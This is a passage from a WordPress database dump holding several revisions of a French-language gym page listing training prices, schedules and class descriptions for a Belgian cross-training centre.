(valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€&lt;br&gt;\r\nSuivi 15,00€\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:17:07', '2013-06-16 14:17:07', '', 11, 'http://www.crosstrainingcenter.be/?p=110', 0, 'revision', '', 0),
(112, 1, '2013-06-16 14:18:18', '2013-06-16 14:18:18', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:18:18', '2013-06-16 14:18:18', '', 11, 'http://www.crosstrainingcenter.be/?p=112', 0, 'revision', '', 0),
(113, 1, '2013-06-16 14:18:50', '2013-06-16 14:18:50', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:18:50', '2013-06-16 14:18:50', '', 11, 'http://www.crosstrainingcenter.be/?p=113', 0, 'revision', '', 0),
(114, 1, '2013-06-16 14:20:17', '2013-06-16 14:20:17', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color:#999999;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:20:17', '2013-06-16 14:20:17', '', 11, 'http://www.crosstrainingcenter.be/?p=114', 0, 'revision', '', 0);
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(115, 1, '2013-06-16 14:20:55', '2013-06-16 14:20:55', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color:#cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color:#eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color:#cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:20:55', '2013-06-16 14:20:55', '', 11, 'http://www.crosstrainingcenter.be/?p=115', 0, 'revision', '', 0),
(116, 1, '2013-06-16 14:24:10', '2013-06-16 14:24:10', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:24:10', '2013-06-16 14:24:10', '', 11, 'http://www.crosstrainingcenter.be/?p=116', 0, 'revision', '', 0),
(117, 1, '2013-06-16 14:24:59', '2013-06-16 14:24:59', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:24:59', '2013-06-16 14:24:59', '', 11, 'http://www.crosstrainingcenter.be/?p=117', 0, 'revision', '', 0),
(118, 1, '2013-06-16 14:25:45', '2013-06-16 14:25:45', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ebebeb;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td 